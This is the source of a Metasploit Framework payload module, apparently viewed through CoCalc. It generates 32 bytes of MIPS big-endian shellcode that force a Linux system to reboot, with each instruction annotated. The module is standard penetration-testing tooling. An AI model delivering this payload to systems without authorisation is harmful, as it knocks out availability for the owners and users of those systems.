CoCalc Logo Icon
StoreFeaturesDocsShareSupportNewsAboutSign UpSign In
rapid7

Real-time collaboration for Jupyter Notebooks, Linux Terminals, LaTeX, VS Code, R IDE, and more,
all in one place.

GitHub Repository: rapid7/metasploit-framework
Path: blob/master/modules/payloads/singles/linux/mipsbe/reboot.rb
Views: 11782
1
##
2
# This module requires Metasploit: https://metasploit.com/download
3
# Current source: https://github.com/rapid7/metasploit-framework
4
##
5
6
module MetasploitModule
7
8
CachedSize = 32
9
10
include Msf::Payload::Single
11
include Msf::Payload::Linux
12
13
def initialize(info = {})
14
super(merge_info(info,
15
'Name' => 'Linux Reboot',
16
'Description' => %q{
17
A very small shellcode for rebooting the system.
18
This payload is sometimes helpful for testing purposes or executing
19
other payloads that rely on initial startup procedures.
20
},
21
'Author' =>
22
[
23
'Michael Messner <devnull[at]s3cur1ty.de>', #metasploit payload
24
'rigan - <imrigan[at]gmail.com>' #original payload
25
],
26
'References' =>
27
[
28
['URL', 'http://www.shell-storm.org/shellcode/files/shellcode-795.php']
29
],
30
'License' => MSF_LICENSE,
31
'Platform' => 'linux',
32
'Arch' => ARCH_MIPSBE,
33
'Payload' =>
34
{
35
'Offsets' => {} ,
36
'Payload' => ''
37
})
38
)
39
end
40
41
def generate(_opts = {})
42
shellcode =
43
"\x3c\x06\x43\x21" + #lui a2,0x4321
44
"\x34\xc6\xfe\xdc" + #ori a2,a2,0xfedc
45
"\x3c\x05\x28\x12" + #lui a1,0x2812
46
"\x34\xa5\x19\x69" + #ori a1,a1,0x1969
47
"\x3c\x04\xfe\xe1" + #lui a0,0xfee1
48
"\x34\x84\xde\xad" + #ori a0,a0,0xdead
49
"\x24\x02\x0f\xf8" + #li v0,4088
50
"\x01\x01\x01\x0c" #syscall 0x40404
51
52
return super + shellcode
53
end
54
end
55
56